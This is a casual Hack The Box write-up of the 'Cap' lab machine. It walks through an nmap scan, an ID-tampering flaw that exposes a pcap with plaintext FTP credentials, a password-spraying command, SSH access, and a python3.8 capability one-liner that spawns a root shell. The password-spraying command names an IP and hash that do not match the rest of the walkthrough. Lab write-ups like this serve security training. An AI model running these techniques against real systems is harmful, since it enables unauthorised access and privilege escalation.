Hack The Box: Cap Write-up
This box was awesome because it combines multiple tools and skillsets in order to root the box. I had a lot of fun with it even though I’m writing this days after doing it. Interesting little directory traversal using the ID value of the data in order to get a pcap which reveals plaintext creds to pivot into the network and have a ball inside the linux machine.
Enumeration
nmap-quick-tcp 10.129.98.1
=== 10.129.98.1 (21,22,80) ===
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-30 22:26 EDT
Nmap scan report for 10.129.98.1
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
Port 80
We’re brought to a dashboard.

As you can see in the data section, there are pcaps!

Download the packets after changing the id. Then open it in wireshark.


Nothing burger on the number 2 data pcap. Honestly super mid they would make me work for this, (jk).
ID of 0 leads us to special places though…

Weird numbers? When we scroll down in the wireshark there is FTP, when we follow to TCP stream we find PT creds! :O

nathan
Buck3tH4TF0RM3!
Using our handy dandy netexec wrapper that just sprays like a hose.
NetSpray all 10.10.125.142 -u users.txt -H 'ntlm hash' --continue-on-success

ssh nathan@10.129.98.1

On linux the second thing I always do is check for SUID binaries.
find / -perm -u=s -type f 2>/dev/null
Oh you thought that was the privilege escalation? Just cause I put it in here? NAHHHHHHH

No but seriously I ran linpeas and then found this bad boy and since the box was named ‘cap’ right… I thought well maybe…

Sure enough on GTFO binaries:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'


Got ya on this one didn’t I ;)